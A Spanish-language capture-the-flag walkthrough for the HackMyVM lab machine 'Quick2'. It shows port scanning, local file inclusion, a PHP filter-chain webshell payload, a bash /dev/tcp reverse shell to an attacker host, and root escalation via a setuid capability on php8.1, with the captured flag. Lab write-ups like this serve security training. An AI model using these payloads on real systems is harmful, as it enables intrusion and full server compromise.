Quick2 HackMyVM (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-19 03:23 EDT
Nmap scan report for 192.168.5.61
Host is up (0.0059s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 17:c4:c9:b5:94:24:9f:9c:db:33:34:d1:99:b7:23:1e (ECDSA)
|_  256 ce:83:07:4b:42:70:87:47:37:4d:d9:d6:8d:56:28:62 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Quick Automative
|_http-server-header: Apache/2.4.52 (Ubuntu)
MAC Address: 08:00:27:D7:AD:4A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.73 seconds

Veremos que hay un puerto 80 en el que aloja una pagina web, si entramos dentro, efectivamente veremos una pagina web aparente mente normal, pero si investigamos toqueteando un poco la misma y nos fijamos en la URL veremos lo siguiente.

Si nos vamos a Home para que nos lleve a dicha pagina, veremos en la URL esto:

URL = http://<IP>/index.php?page=home.php

Posiblemente pueda tener un LFI por lo que vamos a probarlo a ver si funciona.

FFUF

ffuf -u 'http://<IP>/index.php?FUZZ=../../../../../../../etc/passwd' -w <WORDLIST> -fs 3825

Info:

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.5.61/index.php?FUZZ=../../../../../../../etc/passwd
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 3825
________________________________________________

page                    [Status: 200, Size: 3104, Words: 247, Lines: 68, Duration: 9ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

Con esto veremos que si es vulnerable el parametro page a un LFI:

URL = http://<IP>/index.php?page=../../../../../../../etc/passwd

Info:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
andrew:x:1000:1000:Andrew Speed:/home/andrew:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
nick:x:1001:1001:Nick Greenhorn,,,:/home/nick:/bin/bash

Vemos que funciona, por lo que vamos a probar a utilizar warppers con el LFI para realizar un RCE de esta forma.

Escalate user www-data

Pero veremos que no va a funcionar, vamos a seguir explorando un poco mas.

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.61/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 3825]
/.php                 (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
/images               (Status: 200) [Size: 2289]
/home.php             (Status: 200) [Size: 2539]
/news.php             (Status: 200) [Size: 560]
/contact.php          (Status: 200) [Size: 1395]
/about.php            (Status: 200) [Size: 1446]
/cars.php             (Status: 200) [Size: 1502]
/file.php             (Status: 200) [Size: 200]
/connect.php          (Status: 500) [Size: 0]
Progress: 13120 / 882244 (1.49%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 13199 / 882244 (1.50%)
===============================================================
Finished
===============================================================

Veremos que encontramos un archivo bastante interesante en el que si entramos llamado file.php veremos lo siguiente:

Vemos que es vulnerable a un LFI metiendo el archivo que queremos leer dentro de la casilla que muestra, si lo hacemos en la URL veremos esto:

URL = http://<IP>/file.php?file=/etc/passwd

Por lo que vamos a probar en este archivo los wrappers que comentaba antes...

LFI / RFI usando wrappers

Nos iremos a la siguiente pagina en la cual podremos generar un payload en formato wrapper en PHP para poder injectarlo en la URL y posteriormente poder ejecutar comandos gracias al mismo.

URL = https://github.com/synacktiv/php_filter_chains_oracle_exploit/blob/main/filters_chain_oracle_exploit.py

Crearemos un parametro llamado cmd que ejecute cualquier comando que le pongamos, seria de la siguiente forma...

python3 php_filter_chain_generator.py --chain '<?php echo shell_exec($_GET["cmd"]);?>'

Info:

[+] The following gadget chain will generate the following code : <?php echo shell_exec($_GET["cmd"]);?> (base64 value: PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWyJjbWQiXSk7Pz4)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

Copiamos a partir del php://... y lo metemos despues del igual de la siguiente manera...

URL = http://<IP>/file.php?cmd=whoami&file=<CONTENT_GENERATE>

Info:

www-data
�
P�����

Veremos que esta funcionando, por lo que vamos a ejecutar una reverse shell de esta forma:

URL = http://<IP>/file.php?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/<IP>/<PORT>%200>%261'&file=<CONTENT_GENERATE>

Info:

listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.60] 35990
bash: cannot set terminal process group (768): Inappropriate ioctl for device
bash: no job control in this shell
www-data@quick2:/var/www/html$ whoami
whoami
www-data

Con esto veremos que ha funcionado, por lo que sanitizaremos la shell.

Sanitización de shell (TTY)

script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Por lo que vamos a leer la flag del usuario.

user.txt

            :'#######::'##::::'##:'####::'######::'##:::'##:::::'#######::
            '##.... ##: ##:::: ##:. ##::'##... ##: ##::'##:::::'##.... ##:
             ##:::: ##: ##:::: ##:: ##:: ##:::..:: ##:'##::::::..::::: ##:
             ##:::: ##: ##:::: ##:: ##:: ##::::::: #####::::::::'#######::
             ##:'## ##: ##:::: ##:: ##:: ##::::::: ##. ##::::::'##::::::::
             ##:.. ##:: ##:::: ##:: ##:: ##::: ##: ##:. ##::::: ##::::::::
            : ##### ##:. #######::'####:. ######:: ##::. ##:::: #########:
            :.....:..:::.......:::....:::......:::..::::..:::::.........::






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          ⠀⠀⠀⠀⢰⡿⣄⡀⠀⠀⠀⠀⢉⣹⡿⢻⣿⠿⣿⣇⡉⣑⣦⣀⣀⣀⡤⠤⠤⣤⣤⡶⠶⠶⠶⠷⠶⢾⣉⠉⠉⠉⠙⡏⠉⠉⠉⠉⠉⠉⠁⠀⠀⠈⢹⢻⣿⠇⠀⣴⣿⣿⣿⣿
          ⠀⠀⠀⢠⡿⠀⠀⠉⠉⠙⠒⣶⡟⢉⣿⡿⠁⠀⢸⣿⠋⠉⣿⠀⠀⠀⢀⡤⠞⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠲⡄⠀⠸⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡟⠀⢰⣿⣿⣿⣿⢻
          ⠀⠀⠀⢸⡷⣦⣀⡀⠀⠀⠘⢿⣧⠞⢫⣷⣄⣠⠏⣸⠀⠀⡏⠀⢀⡴⠋⠀⠀⠀⠀⠀⢀⣴⣶⣶⣶⡦⣄⡀⠀⠈⢦⠀⢧⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⡿⠀⠀⣿⣿⣿⣾⣿⣴
          ⠀⠀⠀⢸⣷⡇⠀⠉⠑⣶⠀⠀⠀⠀⠀⠉⠉⠀⠐⡇⠀⢸⡇⣠⠟⠀⠀⠀⠀⠀⣠⣾⣿⡟⢀⣽⣧⡹⣟⣷⡀⠀⠈⣧⠸⡄⠀⠀⠀⠀⢀⣀⣠⣼⣿⠃⠀⢀⡇⠻⣿⣿⠟⠛
          ⠀⠀⠀⢸⡿⢷⣄⡀⢀⡇⠀⣀⣀⣀⣀⣀⣀⠀⢀⠇⠀⠈⢻⡟⠲⢶⣶⣶⣶⣶⣿⣿⣿⣿⣿⣿⠟⢷⢸⣹⣷⠀⠀⠘⣆⣧⣠⢤⣶⣾⣿⣿⣷⣿⣿⠤⠴⠚⠉⠉⠉⠁⠀⠀
          ⠀⠀⠀⢸⣿⣦⣍⡛⠻⠃⡜⠉⠉⠀⠈⠉⢹⡆⢸⠀⠀⠀⠈⢧⡀⠀⠀⢀⡝⢉⣿⣿⣿⣿⣿⣅⡀⣸⢻⢿⣿⠀⠀⠀⢹⡿⢷⣾⡿⠿⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
          ⠀⠀⠀⠻⣿⣿⢿⣿⣷⣶⣧⣄⣀⣀⠀⠀⢸⡇⢸⠀⠀⠀⠀⠀⠉⠑⠲⡞⠀⠀⣿⣿⣿⡿⠿⣿⣿⠇⣼⡾⣹⠀⠀⣀⠼⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
          ⠀⠀⠀⠀⠈⠻⢶⣭⣛⣻⣿⣷⡾⢿⣿⣿⣿⣷⣿⡦⠤⣤⣤⣀⣀⣠⣼⡇⠀⠀⠹⣿⣿⣿⠀⡨⢏⣼⣿⣧⣧⠴⠊⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
          ⠀⠀⠀⠀⠀⠀⠀⠘⠻⢯⣉⠙⣷⣼⣿⣇⣳⣿⠈⢧⠀⠸⣄⡰⠋⠀⠀⣧⣄⡀⠀⠈⠻⠽⢯⣿⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
          ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⠛⠛⠿⠿⠿⢧⣬⣷⣶⣞⣁⣤⣤⣤⡵⠀⠉⠙⠒⠒⠛⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀


          HMV{Its-gonna-be-a-fast-ride}

Escalate Privileges

Si listamos las capabilities que tenemos a nivel de sistema con dicho usuario, veremos lo siguiente:

getcap -r / 2>/dev/null

Info:

/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/php8.1 cap_setuid=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/snap/core20/2599/usr/bin/ping cap_net_raw=ep
/snap/core20/1405/usr/bin/ping cap_net_raw=ep
/snap/snapd/24792/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p

De aqui la unica que nos interesa y que vemos bastante interesante es la siguiente linea:

/usr/bin/php8.1 cap_setuid=ep

Por lo que haremos lo siguiente:

CMD="/bin/bash"
php8.1 -r "posix_setuid(0); system('$CMD');"

Info:

root@quick2:/# whoami
root

Con esto ya seremos root, por lo que vamos a leer la flag de root.

root.txt

                             :'#######::'##::::'##:'####::'######::'##:::'##:::::'#######::
                             '##.... ##: ##:::: ##:. ##::'##... ##: ##::'##:::::'##.... ##:
                              ##:::: ##: ##:::: ##:: ##:: ##:::..:: ##:'##::::::..::::: ##:
                              ##:::: ##: ##:::: ##:: ##:: ##::::::: #####::::::::'#######::
                              ##:'## ##: ##:::: ##:: ##:: ##::::::: ##. ##::::::'##::::::::
                              ##:.. ##:: ##:::: ##:: ##:: ##::: ##: ##:. ##::::: ##::::::::
                             : ##### ##:. #######::'####:. ######:: ##::. ##:::: #########:
                             :.....:..:::.......:::....:::......:::..::::..:::::.........::








           ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣠⣤⣤⣤⢶⠶⣶⢲⣒⢓⠛⠛⣋⣉⣉⣉⣉⣉⣉⣉⣍⣭⣹⣭⣏⣝⣩⣙⣋⣿⣿⠿⢿⣿⣿⣿⣿⣶⣶⣷⣾⣶⣦⣤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣠⣴⣶⡶⠟⠛⠋⠋⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠁⠈⠀⠉⠈⠈⠀⠁⠀⠉⠈⢉⣽⠟⣉⣴⣶⣿⣿⣿⣿⠿⡿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣦⣤⣄⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣾⠿⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⠟⣱⣿⣿⠿⠋⠉⠀⠀⠀⠀⠀⠄⢀⠹⣿⡟⢶⡝⣶⡙⠳⣯⡙⠻⣷⣭⣛⡿⠿⣶⣶⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣴⣾⡿⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠁⢠⣿⣿⣧⠀⠀⠀⣠⡴⠶⠶⠶⠶⠦⢤⣄⡹⣦⠹⣦⢙⣶⣼⣷⠶⠟⠻⠿⠿⣶⣼⣭⣿⠾⠉⠙⡛⣶⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣼⣿⣿⣻⡿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣶⠟⠀⣰⣿⠏⠘⣿⣧⠀⣾⡁⠀⠀⠀⠐⠀⠠⢤⣼⣇⣹⣷⢾⠛⠋⠉⠀⠀⠀⠀⠀⠠⣤⣼⣷⣶⡶⠾⠛⠛⠛⠛⠉⠛⠛⠶⣦⣀⡀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣠⣤⣴⣶⣶⣶⣶⣿⣿⣿⣟⣛⡓⠲⢶⣦⣤⣤⣤⣤⣶⣶⣶⣶⢶⣶⣶⣶⠶⠲⣖⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⢶⣶⣶⣶⣶⣶⡶⠶⠾⠿⠃⠀⣰⣿⣋⣀⡀⠈⢿⣷⢸⡟⣶⡶⣶⣶⣶⡿⠿⠛⠉⠁⠀⢀⡀⣀⣀⣤⣶⡶⣶⣿⣿⣟⣉⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠁⢿⣿⡆⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⠾⣻⣽⠟⠋⠁⠀⠛⠋⠉⢁⢀⣄⣤⠿⠟⠛⠳⠞⢛⢻⣾⠿⠟⠛⠛⠛⠛⠛⠛⠛⣻⡿⠟⠛⠉⠉⢋⣩⣴⣾⡿⣫⣿⡿⠶⠟⠋⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⠷⠾⣿⣿⣷⠸⣟⠉⠋⠀⢀⠀⣤⣤⣶⠶⠾⠛⣿⣿⡿⠍⣷⡾⠛⠉⠉⠉⠛⣶⢦⣄⡀⠀⠀⢀⣴⢿⡛⠻⢶⡀⣿⣅⠠
